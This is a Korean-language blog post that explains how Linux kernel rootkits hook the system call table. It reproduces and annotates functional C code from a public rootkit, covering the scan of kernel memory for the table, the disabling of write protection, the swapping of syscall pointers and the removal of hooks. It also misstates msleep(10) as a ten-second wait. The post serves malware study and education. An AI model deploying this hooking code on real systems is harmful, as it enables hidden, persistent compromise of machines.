Rootkit, 루트킷

시스템에 비인가 엑세스 권한을 제공하는 악성 프로그램 툴

시스템의 루트 권한을 획득하는 악성 소프트웨어

 

 

감염대상

감염 대상으로는 모든 시스템, 취약한 대상으로는 보안 소프트웨어의 부재나 최신 업데이트가 되지 않은 시스템

 

 

Rootkit동작원리

1. 접근 : 시스템 콜에 대한 포인터를 변경하기 위해 시스템 콜 테이블에 접근

  • 커널 : 시스템 자원(CPU, 메모리, 입출력 장치), 프로세스 관리, 시스템 콜 처리와 같은 역할을 하는 OS의 핵심 부분 
  • 시스템 콜 : 커널의 기능을 안전하게 사용하기 위해 시스템 콜을 통해 커널이 제공하는 기능을 사용. 사용자 프로그램과 커널 사이의 중간 다리 역할
  • 시스템 콜 테이블: 커널이 시스템 콜을 처리할 때 참조하는 테이블. 시스템 콜에 해당하는 각 함수에 대한 포인터들의 배열로 구성
System Call Table
-----------------
| Index | Function Pointer Address                |
--------------------------------------------------
|   0   |   0x00000123 #커널내부 함수 주소          |   
|   1   |   0x00000456 #커널내부 함수 주소          | 
|   2   |   0x00000789 #커널내부 함수 주소          |   
|  ...  |       ...    #커널내부 함수 주소          | 
---------------------------------------------------

2. 후킹 : 원래의 시스템 콜 함수 포인터를 새로운 콜 함수 포인터로 변경

  • 시스템 콜 포인터

3. 실행 : 후킹된 함수가 실행되면 새로운 함수가 실행되며, 원래의 동작을 대체

  • 후킹: 시스템이나 소프트웨어의 동작을 변경하거나 모니터링하기 위해 해당 이벤트를 가로채는 기술

보통 루트킷은 시스템 콜 테이블에 접근 후 시스템 콜 포인터를 후킹하는 방식으로 작동한다.

 

더보기
더보기

커널 기능을 사용할 때 동작원리

1. 시스템 콜 호출

2. 시스템 콜에 맞는 번호를 통해 시스템 콜 테이블에서 시스템 콜 번호에 맞는 커널 내부 함수 주소를 탐색

3. 커널 내부 함수 실행

 

 

Rootkit 악성 코드 분석

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

 

시스템 콜 테이블 탐색 및 null 제거

#if defined __i386__
    #define START_ADDRESS 0xc0000000
    #define END_ADDRESS 0xd0000000
#elif defined __x86_64__
    #define START_ADDRESS 0xffffffff81000000
    #define END_ADDRESS 0xffffffffa2000000
#else
    #error ARCH_ERROR_MESSAGE
#endif

void **sys_call_table;

/**
 * Finds a system call table based on a heruistic.
 * Note that the heruistic is not ideal, so it might find a memory region that
 * looks like a system call table but is not actually a system call table, but
 * it seems to work all the time on my systems.
 *
 * @return system call table on success, NULL on failure.
 */
void **find_syscall_table(void)
{
    void **sctable;
    void *i = (void*) START_ADDRESS;

    while (i < END_ADDRESS) {
        sctable = (void **) i;

        // sadly only sys_close seems to be exported -- we can't check against more system calls
        if (sctable[__NR_close] == (void *) sys_close) {
            size_t j;
            // we expect there to be at least 300 system calls
            const unsigned int SYS_CALL_NUM = 300;
            // sanity check: no function pointer in the system call table should be NULL
            for (j = 0; j < SYS_CALL_NUM; j ++) {
                if (sctable[j] == NULL) {
                    // this is not a system call table
                    goto skip;
                }
            }
            return sctable;
        }
skip:
        ;
        i += sizeof(void *);
    }

    return NULL;
}
  • 아키텍쳐별로 시스템 콜 테이블이 존재하는 메모리 주소 범위 지정
  • sys_call_table은 시스템 콜 테이블을 가리키는 이중 포인터
  • 찾은 시스템 콜테이블을  sctable변수에 저장한 후 __NR_close 포인터가 sys_close와 같다면(가르킨다면) 300개의 SYS_CALL_NUM중 NULL이 있는지 확인
  • NULL이 있다면 건너띄고 NULL이 아니라면 sctable로 반환

 

 

 

훅 생성, 훅 제거

struct hook {
    void *original_function;
    void *modified_function;
    void **modified_at_address;
    struct list_head list;
};

LIST_HEAD(hook_list);

int hook_create(void **modified_at_address, void *modified_function)
{
    struct hook *h = kmalloc(sizeof(struct hook), GFP_KERNEL);

    if (!h) {
        return 0;
    }

    h->modified_at_address = modified_at_address;
    h->modified_function = modified_function;
    list_add(&h->list, &hook_list);

    DISABLE_W_PROTECTED_MEMORY
    h->original_function = xchg(modified_at_address, modified_function);
    ENABLE_W_PROTECTED_MEMORY

    return 1;
}
  • 원래 함수 포인터, 변경된 함수 포인터, 변경된 함수 메모리 주소의 포인터를 선언
  • 후킹 정보를 저장해서 사용하기 위해 커널에서 메모리를 할당
    • struct hook *h = kmalloc(sizeof(struct hook), GFP_KERNEL);
    • kmalloc은 리눅스 커널에서 메모리를 할당하기 위한 함수중 하나
  • h 구조체 안의 멤버들에게 변수가 가리키는 값을 저장
  • 메모리 보호기능을 종료
  • modified_at_address가 가리키는 값을 modified_function으로 교체하고, 그 전의 값을 h->original_function에 저장
  • 다시 메모리 보호기능 켜기

 

void *hook_get_original(void *modified_function)
{
    void *original_function = NULL;
    struct hook *h;

    list_for_each_entry(h, &hook_list, list) {
        if (h->modified_function == modified_function) {
            original_function = h->original_function;
            break;
        }
    }
    return original_function;
}

 

  • struct hookmodified_function과 입력으로 받은 modified_function을 비교하여 일치한다면
  • struct hook 안에 저장된 original_functionoriginal_function 변수에 할당
    • 수정된 함수 포인터와 입력으로 받은 수정된 함수포인터가 일치한다면 원본 함수 포인터를 찾아 반환하는 역할

 

void hook_remove_all(void)
{
    struct hook *h, *tmp;

    // make it so that instead of `modified_function` the `original_function`
    // would get called again
    list_for_each_entry(h, &hook_list, list) {
        DISABLE_W_PROTECTED_MEMORY
        *h->modified_at_address = h->original_function;
        ENABLE_W_PROTECTED_MEMORY
    }
    msleep(10);
    list_for_each_entry_safe(h, tmp, &hook_list, list) {
        list_del(&h->list);
        kfree(h);
    }
}
  • modified_at_address가 가리키는 메모리 주소의 값을 h->original_function으로 변경
    • 변경된 함수 포인터를 원래의 함수 포인터로 다시 복구하는 역할
  • msleep(10)을 사용하여 10초동안 일시적으로 대기
  • 리스트에서 각 후킹 정보를 제거하고 해당 메모리를 해제
    • kfree(h)는 커널에서 동적으로 할당된 메모리를 해제하는 함수

 


Rootkit 소스 코드

https://github.com/nurupo/rootkit/blob/master/rootkit.c

'악성코드 > 기타' 카테고리의 다른 글

SQL Injection 크롤링 도구  (0) 2024.05.27

+ Recent posts